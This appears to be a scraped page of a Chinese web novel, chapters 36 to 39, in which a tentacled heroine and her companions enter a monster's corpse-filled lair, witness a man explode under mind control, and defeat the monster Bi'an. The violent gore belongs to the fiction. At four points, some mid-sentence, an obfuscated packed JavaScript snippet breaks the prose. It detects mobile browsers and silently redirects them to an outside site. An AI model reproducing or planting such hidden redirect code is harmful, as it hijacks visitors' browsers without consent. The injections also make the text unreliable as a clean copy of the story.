“我能看得出来,你们很强。”白衫男人面色阴沉,“我想请你们帮我除掉一只怪物,一只非常强大、将人类当作玩物的怪物。” …… 跟随着白衫男人的脚步,一行人向市中心的深处走去。 “这附近都是它的领地,不会有普通怪物接近。”散步似的,白衫男人脚步徐徐,温声解释,“在它回来之前,这里很安全。” 黎望舒随口应声,目光停留在他瘦削的背影上,心中攀起一丝焦躁。 ……白衫男人的速度在她看来实在太慢,连带着她也不得不配合对方宛如龟爬般的脚步; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862205|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下没有表盘无法准确计算时间,在她的感觉里,虽然没有走出多远,但像是过去了一个世纪似的,这条路仿佛永远也走不到尽头。 受制于人的感觉实在令人不爽,要不是为了那两块光伏板,她绝不会应下白衫男人的要求。 似乎感受到了黎望舒的不耐烦,白衫男人路上边走边交代了不少情报——据他所说,这片地区原先盘踞着两只高等怪物,其中一只名为千罗的半人怪物,已经死在他们几人的手中;另一只叫做彼岸,实力与千罗差不多,但更为心狠手辣,会将捉来的人类残忍虐杀,它昨晚出门去寻找千罗,到现在还没有回来。 按他的描述,这只名为彼岸的怪物除了背上的触手与一身蛮力之外,似乎没有其他攻击手段。如果真是这样,黎望舒只需动一动触手就能够杀死它……但想起之前那股违和感,她心中又有些不安。 无论如何,不能全盘相信这个男人的话。 “还有多久才能到?”黎望舒忍不住催促,“还是我托着你走吧,这次一定不勒脖子。” ——事实上,她也尝试过不征求对方的意见,直接将人举起来。可白衫男人似乎有些傲气,一旦她那样做了,他就一声不吭地被吊在半空,不再为他们指明方向。 “不必。”白衫男人再一次拒绝了她的提议,目光投向不远处的一栋高级酒店,“就快到了。” 一靠近酒店大门,腐臭的血腥气便扑面而来,似乎有许多人曾被拖进酒店,门前一道道因拖曳形成的血迹暗红发黑,向昏暗的大厅中汇聚——这光景,让黎望舒想起了山城公寓底下的尸山血海,与安全通道前泡在血水中的半个小老太太。 杜蕊显然也想到了同样的事,面色微白,慌乱地与黎望舒对视一眼后,才重新镇定下来。 黎望舒小心地推着酒店的玻璃转门,一踏入大厅内部,鼻端的血腥气更加浓重了。 她的目光被深处天花板上悬挂着的物体吸引过去——那东西半隐在黑暗中,像块风干腊肉似的,被一条麻绳挂在天花板上,静悄悄地悬在半空,下方还缀着些条状物,随着引力垂下。 又往前走了两步,大厅内的沉闷空气被转门带着流动起来,天花板上的“腊肉”微微晃动了几下,摇晃地旋转了一圈——看清那东西到底是什么的那一瞬间,她心脏一缩,骤然停下了脚步。 哪里是什么腊肉……那分明是人类的半个骨架! 尸体下半身的骨头不翼而飞,胸骨部分白森森、血淋淋地,表面还附着些干瘪发黑的碎肉,吃剩的内脏肠子被随意缠在骨头上;顶上一颗头颅保存得格外完整,双目圆睁,表情痛苦,生前似乎遭受了一番折磨。 目光再投向更黑暗的深处,里头的天花板上影影绰绰地挂着不少类似的东西。身后传来短促的吸气声,杜蕊几人也看清了那具尸体。 “怪物的巢穴就在里面。”白衫男人回头盯了黎望舒一眼,黑漆漆的眸子明明迎着阳光,里头却映不出一丝光亮,无端地有些瘆人,“随我进去吧。” 36. 第 36 章 “巢穴?”黎望舒死死盯着白衫男人,捏紧了拳头,“而不是‘粮仓’?” “也可以这样理解。”白衫男人回头望了一眼,勾唇笑了,“但这些都是彼岸大人吃剩下的,算不上粮仓。彼岸大人嘴很挑,只喜欢新鲜血肉,尤其偏爱大腿部分……” 似乎忘了对怪物的惧怕,他提起彼岸时面容温和,语气缱绻,仿佛它并不是威胁他生命的可怕怪物,而是他心中的无上之宝。 “闭嘴。”黎望舒勒紧他的手腕,冷声打断了他,“你称它为大人?” “……对不起,我叫惯了。”男人意识到自己的失言,微微低下头,看起来有些愧疚,“它把我当成玩物,逼迫我用尊称称呼它,为了活命,我只能照做。” “废话少说。”他的话,黎望舒现在一个字也不信,“先带我们去看车。确认过报酬之后,再谈其他的。” “如果你们拿了车就跑怎么办?”白衫男人不情愿地摇头,“我不相信你们。” “你没有选择。”黎望舒将他拉近了一点,揪住他的衣领,逼视着他,一字一顿地重复了一遍:“给我听清楚了,你没有选择。要么现在被我杀死,要么带我们去看,明白了吗?” 盯紧了白衫男人无光的双瞳,黎望舒终于明白之前的违和感从何而来——他的瞳孔中,缓缓转动着两团不起眼的深蓝色漩涡,几乎融进了漆黑的底色,十分难以辨认,看起来极为诡异。 ……是某种能力?但白衫男人这般逆来顺受,如果这是他的能力,他为什么不用?黎望舒不明白这家伙究竟想做什么,难解的谜团越来越多,让人心烦意乱—— “望舒……”杜蕊从没见过这样失控的黎望舒,一时有些慌神,想上去劝,却被一旁的郁仪拦住了。 “别伤害我,我带你们去就是了。”白衫男人的态度突然软化了,低眉顺眼道:“那辆车停在酒店的地下车库,里面的东西我没有动过。” 黎望舒冷哼一声,松开男人的衣领,直接卷起了他的细瘦腰身,快速向地下车库冲去。 心中的怒火不知从何而来……是因为看到了同类毫无尊严的死状?抑或是来自于白衫男人轻飘飘、宛如评价牲畜似的话语?头一回,黎望舒对自己的感情感到迷茫。 但唯有一件事很确定——满腔的怒意烧得她心焦,必须要找什么东西发泄出来才能痛快。 …… “对,就是这辆车!” 连霏刚踏入停车场,就一眼认出了停在入口附近的一辆银灰色电车,加快脚步冲了过去。大致确认过车内与后备箱的东西后,她兴奋地连蹦了好几下,“东西没少,光伏板也还在,没问题!” 黎望舒心下稍定。见她面色缓和下来,白衫男人趁机服软:“车也看了,差不多该回去了吧。说好了,你们得帮我杀怪物。” “行啊。”黎望舒一笑,并不惧怕他的阴谋诡计——事实上,她期待着即将到来的战斗,浑身的肌肉与血液都已经沸腾起来了。 又向外走了几步,前方就是停车场明亮的出口。太阳已经完全升起来了,晨雾早已消散,黎望舒被阳光晃得眯起眼睛,冷不丁地问:“说起来,我还不知道你的名字。作为临时的盟友,你有必要做个自我介绍。” “没这个必要吧——死人的名字,知道了多晦气。” 回答者并非白衫男人,这是女性的声音。 黎望舒一惊,猛地抬头望去——不知何时,前方出现了一道背光的婀娜身影,背后一大簇触手伸展开来,宛如盛开的彼岸花。 它修着齐肩短发,面容隐在阴影里,看不真切,红唇一勾,向白衫男人伸出手爪:“他已经是个死人了,你们也快了。” “不、不要……怪物!”白衫男人的目光陡然清明,死死盯着前方的人影,恐惧地后退两步,毫无血色的双唇颤抖着,似乎还想说些什么;但随着人影收拢的五爪,他猛然掐住了自己的脖颈,脸憋得紫红,从喉咙里挤出无意义的气音,“嗬……嗬……” “不对……都躲开!” 黎望舒眼尖地瞄到了男人皮肤下异样的鼓胀,连忙高声提醒,但已经晚了——“蓬”一声,如同血肉中被埋入了炸弹似的,白衫男人从内向外地炸开了,淋漓血雨泼洒向天空,又稀沥沥地向地面回落,将几人浇得满头满脸都是血。 黎望舒离得最近,不说脸上,就连发丝都被血液浸透了。血液腥气扑鼻,她微微启唇,白衫男人还冒着热气的血液顺着嘴角流入口中——舌尖首先传来浓重的铁锈味,紧接着是一股奇异腥甜。 她明明不讨厌这个味道,喉咙口却莫名紧缩了几下,涌上一股呕吐欲。 ……原来如此。 想起了白衫男人眼中的深蓝漩涡与他死前的挣扎,黎望舒闭了闭眼,轻声笑起来,抬头盯住了前方的人影,睫毛上有血珠滚落:“你就是彼岸。那是你的能力,你控制了他。” 出乎意料地,此刻她心中并无多少愤怒,大脑中充斥着前所未有的冷静……冷静地思考着,该如何将眼前的怪物碎尸万段。 “是又怎样。”彼岸挑衅地抬起下巴,胜券在握似的,眯起了狭长双眼,“怎么,感到愤怒?还是绝望?可惜血糊得太多,我都看不清你的表情了。” 杜蕊像是被吓傻了,身子猛地一抖,这才回过神来。活人在眼前炸开的冲击力实在太大,地上零落的肉块还在蒸腾热气,她指尖颤抖着摸了摸脸上温热的人血,忍不住呜呜哭了起来。 “对,就是这样!”彼岸笑了,背后触手激动地颤抖着,“爱意、恐惧、悲伤……人类的一切情感都太有意思了!真让人着迷,不枉我特意让他留住你们……” 话还没说完,它面前猛地袭来了一道锐利剑光,但却未能命中——它极快地做出了反应,下肢发力,险之又险地向后避过,只被削去了几缕短发。重新站定后,它眯着眼睛打量面前提剑的长发少年。 “你们杀了千罗,害我失去了一条好用的狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868737|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以后不得不亲自捕食。我还没找你们算账呢,没想到你们居然蠢得自己送上门来。”彼岸冷笑一声,背后触手骤然伸长,向几人袭去,“刚好家里最后一点食物也炸掉了,就用你们来填我的粮仓!” 趁着郁仪将触手挡下的功夫,黎望舒抹了把脸上的血,快速交代:“那家伙能控制人类的心智,发动条件未知。保险起见,你们几个别插手,离远一些。” “那你呢?”连霏担忧地问。 “我和郁仪应该有精神方面的抗性,但能否抵挡住那家伙的能力还不好说。总之,我会尽快解决掉它。”黎望舒顿了顿,牵出一个微笑,接着说:“如果我们两个也被控制了……大家就只能一起死在这里了。” 她满脸鲜血,语气平淡,却又透着股执拗的疯劲儿,杜蕊想说些什么,喉咙口却像被堵住了似的,一个字也吐不出来。 “你要……小心。”自从彼岸出现,闻风藻就再也没说过话。他面色惨白,单手扶墙,看起来摇摇欲坠,“她身上有股很强的压迫感。” 黎望舒一点头,眼看郁仪支撑得勉强,没再多言,向外面冲去。 …… “小少年,你肤白貌美,生得很可口啊。” 彼岸速度极快,声音伴着触手一起,不断地从四面八方袭来。它的触手表皮极为坚韧,用剑刃很难切断,数量又极多——郁仪额上冒出细汗,咬牙挥剑斩向触手,却一时不查,与彼岸对上了视线。 对上视线的那一刹那,彼岸的双眼猛地一亮,瞳仁中转起了亮蓝色的漩涡;郁仪意识到不妙,拼命转动眼球,视线却不受控制,如同扑火飞虫似的,胶着地粘在了那对亮蓝色漩涡之上。他手中的长剑脱落,当啷一声掉在了地上。 “放弃吧,别做无谓的抵抗。”漩涡越转越快,彼岸低声劝诱,“我保证,会让你幸福地死去……” “你敢对他出手——” 一道冷怒的声音传来,彼岸腰侧骤然袭来一股巨力,伴着“咔嚓”一声腰椎碎裂的声响,它被黎望舒一拳锤得飞了出去,狼狈地伏在地上,咳出两口血。 “没事吧?”顾不上远处的彼岸,黎望舒捧住郁仪的脸,死死盯着他的双眼——黑眸之中,两个尚未成型的蓝黑漩涡缓缓消散了,郁仪的眼神很快便恢复了清明,黎望舒这才松了口气。 注意到他们此刻的亲密姿势,郁仪面上不合时宜地染上了薄红,刚想说什么,脸色却突然一变,飞速将她的肩膀向下一压,反手抓起地上的长剑,格挡住了袭来的触手。 金石相击的声音离得极近,刺得黎望舒耳膜生疼,她勉强忍住刺痛,回头望去。 彼岸的恢复速度快得可怕,黎望舒那一拳分明击碎了它的腰椎,但一眨眼的功夫,它就摇摇晃晃地重新站了起来。 “很好。”它面色阴沉,像是彻底被激怒了似的,背后触手狂乱地扭动着,“我绝不会让你们轻松地死掉,我要一点一点地挖下你们的肉,再削薄你们的骨头!” 37. 第 37 章 彼岸怒气冲天,狠话撂得张狂,但与这两个人类实际打了几个来回后,它立刻察觉到了不妥。 先前对上那细皮嫩肉的黑发剑客的时候,它没花多少功夫就将对方压制住了;但此刻,随着奇怪的触手女人加入战局,局势立即不受它控制了——这两人的配合还有些生涩,但偏偏在关键的时候有种别样地默契。它被压得死死的,只能被动防御,毫无还手之力。 更糟的是,它控人心魂的能力必须长时间凝视敌人的双眼才能发动,在这样快节奏的战斗中,几乎没有成功的可能性。 黎望舒则越战越勇。再次重创了试图发动能力的彼岸,她看着对方在地上翻滚几圈,鲜血淋漓、满脸灰土的狼狈样子,觉得心中畅快极了:“你的能力也不过如此。被猎物踩在脚下的感觉如何?” “低贱的人类,你以为这样就算赢了?” 彼岸双目血红,拖着身子勉强躲开了郁仪的斩击,终于放弃了使用能力的打算,将全部精力都投入到了对身体的操控之中。 随着它集中的精神力,一条条蓝黑触手速度极快,带着破空声向黎望舒刺去——只要先干掉这个女人,剩下的剑客就是它掌中之物了! 看出了它的意图,郁仪立即后撤,想要掩护黎望舒。但触手实在太多,又都角度刁钻,郁仪只能挡下其中的一部分,剩下的另一部分冲势不减,凌厉地直冲黎望舒面门而去。 “不用管我,顾好你自己!”黎望舒高喝一声,自己则不避不闪地站在原地,身下触手瞬间生长,迎上彼岸的触手,与它们纠缠在了一起。 触手与触手相触的瞬间,她立刻察觉到了异样之处——与自己的不同,彼岸的触手表面像是另外长出了一层硬皮似的,二者的坚韧程度根本不在同一个层次上。若是拼力量,她尚有一战之力,但在坚韧强度上,她没有一丝胜算。 触手还可以变成这样? 黎望舒心有所感,但已经没功夫细细琢磨了——彼岸也察觉到了她的弱点,并不准备与她拔河,而是干脆利落地收紧了触手,想要将她的触手直接绞断。 韧性注定拼不过对方,黎望舒干脆放弃了抵抗,任由彼岸将触手绞紧,转而琢磨起了刚刚抓住的那一丝灵光。 就在她无师自通地学会了改造触手的那一刻,她与彼岸纠缠着的那十来根触手终于噗嗤一声,从中间齐齐地断开了,蓝黑色血液大股大股地喷涌而出,猛烈的疼痛从下肢一路窜到了天灵盖。 “望舒!”郁仪一直注意着这边的动静,见她伤得这么重,顿时急了——他手腕一翻,剑刃微微震动,速度瞬间加快,拉出了一道笔直的银色剑光,向彼岸刺去。 停车场里的三人听到郁仪的疾呼声,不顾黎望舒的叮嘱,都提着武器跑出来想要帮忙,就连面色苍白的闻风藻都扶着墙走了出来,撑着脑袋想要发动能力。 “……我没事。你们冷静点,别被钻了空子!” 黎望舒牙关紧咬,将痛呼声牢牢封在口中,催动触手中的沸腾血液,转瞬间就在剩余触手的表面生出了一层硬膜。她崭新的触手强度不输于彼岸的,甚至还要更胜一筹,随着她的心念向前伸展,重新缠上了彼岸尚未退去的触手。 心念一动,黎望舒用与它相同的手法,分毫不差地生生绞断了它那簇触手,报了先前的一箭之仇;与此同时,郁仪的剑也削掉了彼岸的及肩短发,架在了它的右肩上,将它压在地上,动弹不得。 至此,彼岸的落败已成定局。 “呼……呼……”来不及为胜利感到欣喜,黎望舒急促地喘着气,眼前一阵发黑。她身下触手的断面还在滴着血,尖锐的疼痛不断在脑中翻搅,又让她的意识变得无比清醒。 “没事吧?” “你怎么样?” 连霏和杜蕊跑到她身边,异口同声地问。不同的是,连霏眼眶痛红,但强忍着没掉下泪来,杜蕊则已经哭成了泪人,眼泪在沾满血迹的脸颊上冲刷出一道道白净水痕。 在近处看到黎望舒狰狞的伤口,她眼泪顿时掉得更凶了,抽搭地问:“站得稳吗?要不要我们扶你?” “不用。”黎望舒摇头,看向被郁仪用剑刃压住的彼岸,心中闪过一丝怪异。 ……彼岸的反应有些奇怪。 一改之前的嚣张气焰,它面色铁青,紧盯着地上那几条被它绞断的青黑触手,身体在郁仪的剑下微微颤抖着,连牙齿都在打战,像是见到了什么极为恐怖的东西似的。 是因为怕死?这倒是方便了许多。不能放过这个好机会,在杀死它之前,要想办法多问出些情报。 黎望舒没有深思。为了不在怪物面前露出疲态,她绷紧面部肌肉,忍着持续不断的巨痛,缓缓向彼岸那边游去。 “我、我不知道……”被她不带感情的琥珀色瞳孔注视,彼岸神色愈发惊恐,无视了颈间下压的剑刃,即便皮肤被割破,仍感受不到疼痛似的,它向前又爬了两步,瞪大双眼仰望着黎望舒,眼白爬满血丝,“您是……” “小心!” 闻风藻瞄到一束蓝光飞射而来,下意识认为那是冲着黎望舒来的,他一边疾声提醒,一边顺着本能伸出手,用尽全力在蓝光的必经路线上凝出了一面小小的防护罩——却没想到袭来的蓝光强度极高,一瞬便击碎了防护罩,笔直地冲进了彼岸的后脑。 防护被冲破的一瞬间,熟悉的重击感袭入脑中,闻风藻发出一声痛呼,面上血色全无。他扶着墙倒下,最后强撑着抬头看了一眼,试图透过模糊视野确认黎望舒的安危,随即便失去了意识。 “闻风藻!”黎望舒刚想去查看闻风藻的情况,面前的彼岸也出现了异常——被蓝光击中后,她双眼依旧大睁着,眼中的神采却消失了,头颅失去支撑,脖颈软软地向郁仪的剑刃倒去。 郁仪察觉到不对,第一时间托住了彼岸的脑袋。他手腕一翻,单手将剑收入剑鞘,去摸它的脉搏,双眉忽然蹙起,“……不对,它还活着。” “什么?” 黎望舒不信邪地伸出手,探向彼岸的脖颈——指腹下传来颈动脉有力的跳动,它的心脏也仍在搏动,甚至仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872398|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有呼吸。 这就怪了……它双目微睁,瞳孔涣散,浑身上下软绵绵地任人摆弄,即便再制造出伤口也没有反应,分明是死了的样子,可这具身体却还没有完全死去。 这让黎望舒想起了一种名为脑死亡的现象。 蓝光独独摧毁了彼岸的神智——或者说灵魂——却没伤害到它的肉身……它是某种精神方面的攻击? 那道蓝光附带的气息让黎望舒感到熟悉,本能地,她想起了怪潮中那道灼热的视线——那家伙的目标果然是他们这一行人。 可蓝光射来的速度实在太快,黎望舒只捕捉到了它射入彼岸眉心前的样子,根本无法锁定它到底是从哪里射出来的。 她眉峰低压,目光沉沉地往前方扫了一圈——视野内尽是高楼大厦,能藏身的地方实在太多……这一次,她仍然无法追上那个放出蓝光的神秘人。 “对方手段莫测,你又伤得不轻,不能再追了。”看穿了她心中所想,郁仪将彼岸丢在地上,站起身来直视着她,皱眉劝道:“若是实在放不下,就由我去——” “我明白,不必再追。”黎望舒看了眼闻风藻的方向——他像是被反噬了似的,双目紧闭,七窍流血,被杜蕊与连霏拖到路边,样子很是凄惨,但似乎没有性命之忧——她收回目光,视线又回到瘫软的彼岸身上,冷不丁地问,“你听到它临死时说的话了吗?” “……嗯。”郁仪面色凝重地点头,“似乎有什么东西让它畏惧,它一直在发抖。” 彼岸实力高强,与半人怪物相比地位颇高,很有可能知道什么关键情报,却又畏惧死亡,为此不惜用情报交换活命的机会;尾随他们的神秘人看出了这一点,出于某种目的——也许是为了保守秘密——将彼岸灭口……这样的推测似乎说得通。 但黎望舒总觉得哪里不太对劲。 彼岸究竟是在哪个时间点出现异常的?回想起来,似乎从绞断她触手的那一刻开始,彼岸的动作就变得迟钝了不少,也不再反抗,以至于轻易地就被郁仪抓住破绽,拿捏住了命门。 这样一来,彼岸并不是恐惧死亡,而是害怕那些被它绞下的触手……或是血液? 这样想来,以前似乎也发生过类似的状况。 在山城图书馆门前与众人一起抗击怪潮时,她本以为怪潮退去是太阳升起、怪物厌光的缘故,但细细回想,怪物们不知疲倦的进攻似乎是在她的触手被刺穿后才停下来的。当时那只咬中她触手的小怪物也冻僵了似的,尖牙嵌在她触手上一动不动,轻易就被扯下来杀死了,和彼岸的反应颇有些相似。 毫无疑问,她的触手或血液中应该有什么特殊之处,但若是想要利用这种特殊……她还需要更多的尝试。 “郁仪,帮我个忙,我有些事情想要验证。”捋顺了思路,黎望舒开口,“从外围捉两只小怪物回来,要活的,我留在这里等你回来。” “没问题,我会尽快。你有伤在身,遇事不要勉强。”郁仪眸中隐隐有些忧色,没有问原因,提着剑很快消失在了街道尽头。 38. 第 38 章 “你确定它们还活着?” 眼前躺着两只浑身僵硬的小怪物,黎望舒用手指拨弄了一下其中一只——它将自己团成球形,顺着力道,骨碌碌地翻滚着撞上墙壁,又被反弹回一点,晃动两下后,最终保持着球形姿态又僵住了。 “捉它们时我用的是剑鞘,而且并未用力。”郁仪也有些不确定似的,皱着眉伸手,想要将西瓜虫般团成一团的怪物用力掰开,手指上却传来一股阻力,“它确实活着,还有力气与我较劲。” “它们是什么时候变成这样的?”黎望舒皱眉。 “……我想快点回来,所以将它们塞进口袋后,就光顾着赶路,没怎么注意。”郁仪愧疚地低头,“一开始它们挣扎得很厉害,路上渐渐地安分下来了,再掏出来的时候,就变成了这副样子。” “也许是被你闷坏了。”杜蕊也戳了戳那团怪物,突然生出了疑问:“等等,怪物需要呼吸吗?” “你去探探它的鼻子就知道了。” 黎望舒指向瘫软在一边的彼岸,杜蕊一拍脑袋,竟真的往那边挪了几步,伸出手指去探彼岸的鼻息;静静感受了一会儿后,她惊叫:“它在呼吸!” 真是傻得可爱——黎望舒叹了口气,目光重新聚焦到了眼前的小怪物身上。 这样可什么都看不出来。 这里是彼岸的领地,彼岸现在还活着,有它的威慑作为干扰因素,难以测定她的触手与血液究竟能给怪物带来多大的影响。 ……算了,离开这里之后再找机会测试吧。 毫不留恋地杀死了两只怪物,黎望舒游到彼岸身边,盯着它看了两秒后,蹲下身去,伸手用力掐住了它的脖子;随着她指骨逐渐收紧,彼岸面色发紫,却依旧一动不动,看来是真的死透了。 她松开手,转而抽出腰上的匕首,在彼岸手臂上划出了一道伤口。短暂地流出几滴血后,伤口表面的血液以肉眼可见的速度凝结成一片血痂,又迅速脱落,露出了底下新生的皮肤,整个过程甚至没超过五分钟。如此强大的恢复能力,令人叹为观止。 黎望舒有些心痒——要不是车上的空间还要用来存储物资,她甚至想要将这具身体塞进车里,一路测试它再生能力的极限究竟在哪里。 “呃……” 她正要继续下手,身后却突然传来了一道呻吟——昏迷了半个多小时后,闻风藻终于醒来了。他盯着天花板呆愣了几秒钟,而后猛地坐起身来,视线在地下车库里扫了一圈后,精准地定在了黎望舒身上,“黎姐,你……你没事吧?” “我能有什么事,倒是你,怎么又昏了。”黎望舒松开了彼岸的胳膊,随口猜测,“对彼岸发动动力,波及到我了?” “不,不是的……我看到有道蓝光向你冲过去,一时心急,想阻止它,于是就凝出了一面小盾。”闻风藻撑着额头,说得很慢,“但没有用,盾一瞬间就被蓝光击碎了,然后大脑一阵剧痛,后面的事就记不清了……你真的没事?” “盾?”闻风藻说得抽象,但黎望舒迅速捕捉到了他话中的关键词,“蓝光瞄准的不是我,而是彼岸,它现在已经脑死亡了。你口中的盾又是怎么一回事?” “呃,不大好描述,让我想想该怎么说。”闻风藻脑中隐隐作痛,艰难地组织语言,“和发动能力时的感受很相似,却又有些不同。就像本能一样,一股力量从大脑流出,顺着指尖离体,在半空中凝结成一块由力量组成、看不见摸不着的薄片,那就是盾。” “能防住精神力攻击,说明你的盾也是由精神力组成的。”黎望舒喃喃道,“你的催眠能力与连霏的沟通能力,再加上彼岸控人心智的能力,都与精神紧密相关……是巧合吗?超能力的本质难道就是精神力?” “你现在还能创造出盾吗?”黎望舒问。 “我试试。”闻风藻伸出手掌,闭上双眼,似乎在调动力量。黎望舒紧盯着他的掌心,不知过了多久,他掌心附近的空间突然出现了一瞬间的扭曲,像是有什么东西即将成型,又突然消散了,随后便是一阵痛苦的喘息。 “不、不行……”闻风藻面色又白了几分,“之前消耗太大,力量被抽干了,剩下的已经不足以凝聚了。” “抱歉,忘了你刚恢复过来。”黎望舒说,“不打扰你了,再好好休息一会儿吧。” 看着闻风藻重新躺下,黎望舒往旁边挪了一点,与他拉开距离,视线微微放空,陷入了沉思。 神秘人、精神力、她的触手……谜团越来越多了,前一个还未解开,后一个又马不停蹄地压了上来,一个接着一个。 桩桩件件的巧合叠加在一起,一切矛头都指向了她自己,让她忍不住开始追溯自己的身世,但思来想去,也找不出什么特殊之处。 她还在襁褓里时就被遗弃在孤儿院门口,作为一个女婴,这样的事并不稀奇。所幸山城的冬天并不算寒冷,她才能在寒风中坚持数个小时,然后在清晨时被杨院长捡回孤儿院,抚养长大。 回想自己的前半生,她一直是个极为普通的孩子——老老实实地接受教育,成为普通的学生,学会了如何融入这个世界后,又迎来毕业,成为了万千牛马社畜中的一份子。 她接受了自己普通的命运,从未梦想过大富大贵,也不觉得自己的生命有什么特别的意义,准备就这样度过平凡的一生,偏偏这时候,异变降临,她变得“特殊”了。凭借着这份特殊,她得到了足以自保、甚至足以保护身边人的强大力量,但与此同时,也被目的不明的神秘人盯上,一颗心时时刻刻高悬在胸口,不敢有半分松懈。 一直以来,遇上危险时她总是第一个冲上去,脏活累活她也都抗在自己身上,对身边人的保护欲与责任感让她有意地忽视了自己的感受,将它们牢牢封在心底,不曾泄露半分。但她也是人,也会感到疲惫。 现在,层层压力快到了她所能承受的极限,施加在心底的封印被掀开了一个角,封存已久的疲惫感蔓延出来,如潮水般缠上了她的灵魂,缓缓渗透进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876586|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的心被疲惫浸透,如同吸饱了牛奶的面包片似的,变得沉重、潮湿又疲软。她开始渴望独处,想要摆脱一切责任,放空一切,什么都不去想,哪怕只是暂时的。 顺着心中的欲望,黎望舒站起身来,“我要去彼岸的巢穴里看看——里头说不定还有幸存者。” 她为自己找了个绝佳的借口。 “那我也去……”杜蕊刚想跟着起来,就见黎望舒摇了摇头。 “我一个人就行,如果彼岸还有同伙,之前就该出来帮忙了,里头不会有危险,留在外面的你们反而更该小心。”黎望舒语气平淡,路过郁仪时,特意按下了他的肩膀,“你也留下。” 郁仪身体一僵,黑眸小心地抬起,带着点祈求的意味仰望着她,却并没有得到期望中的回应——黎望舒丝毫没有动摇,压在他肩上的手甚至又加了几分力道,他只好不情愿地坐了回去。 …… 黎望舒在彼岸的巢穴里上下转了一圈,没有找到任何幸存者。 这栋楼曾经是个高级酒店,一共有十层,但彼岸像是懒得上下楼,主要活动范围只局限于最下面的三层—— 一层是酒店大厅,天花板上密密麻麻地挂满了残缺的人类尸体,地板上铺满干涸的血液与碎肉,看起来不仅是粮仓,更是那两只怪物用来进食的餐厅。 二层残留着一些人类生活过的痕迹,更准确地说,是气味——伤口化脓腐烂的气味、排泄物的气味、呕吐物的气味……等等,黎望舒刚走上去的时候,被混杂的臭气熏得差点向后仰倒。 三层则要干净得多,似乎是彼岸的日常居所。空旷的圆厅中,各种摆设看起来奢华又舒适,中央甚至摆着两张大床,上面胡乱堆放着被褥与玩偶。令她惊讶的是,角落处成堆的饮用水、饼干、速食罐头堆在一起,种类丰富得令人难以置信,几乎摞成了一个小山。 彼岸似乎曾在这里饲养过许多人类,将他们作为储备粮……仅仅十天,那些人类就都化作了一层大厅中随风飘摇的“腊肉”。 黎望舒没有立刻回到地下车库,而是在三层的地板上平躺下来,随意伸展着肢体,平静地盯着天花板发呆。 从郊区行进到市中心,除了连霏与白衫男人以外,她再没见过第三个活人,偌大的湖市不复从前的繁华,已经成了一个空壳子,被怪物占据,不再属于人类。 她能战胜彼岸,凭借的是自身的特殊力量,那没有能力的普通人呢?他们对上彼岸,胜率无限接近于0,只能躺平任其宰割。这世上又有多少像彼岸一样强大的怪物?若是每个城市都有一只,那么人类最后真的有可能会灭亡。 她看不到普通人的活路。若是人人都能拥有能力就好了…… 电光石火间,黎望舒突然想起了虫母的一句话—— “个个都有能力,你们究竟吞了我多少同胞。”她轻声复述,仿佛打开了崭新的思路,“吞噬同胞……也就是吞噬怪物?” 她心中生出了一个大胆的想法。 39. 第 39 章 空旷的圆厅里,黎望舒还未完全整理好思绪,就察觉到了楼梯旁的另一道呼吸——那人原本隐蔽得很好,但应该是被臭气熏得难受,呼吸声变得有些粗重,这才露了破绽。 “谁啊。”她没有动,仍躺在原地,懒洋洋地出声,“别鬼鬼祟祟的,出来。” 窸窸窣窣的衣料摩擦声响起,但先窜出来的却并不是人,而是咧嘴吐着舌头、看起来十分高兴的边牧犬妞妞。它的爪子有段时间没修剪了,在光滑的地砖上打着滑向这边跑来,直直地往她怀里扑。 “妞妞,怎么是你。”黎望舒撑起身子,惊喜地接住了它,“是连霏带你过来的?” “呜……”妞妞想要舔她的脸,发觉她对这种行为有些抗拒后,又转而用湿漉漉的鼻尖拱她的手心。 黎望舒摸了摸它的脑袋,盯着楼梯边上露出的一截乌黑剑鞘,无语道:“别躲了,过来。” 郁仪这才挪了挪步子,转了过来——他满面通红,做了亏心事似的,视线定在地板上,不敢与她对视。 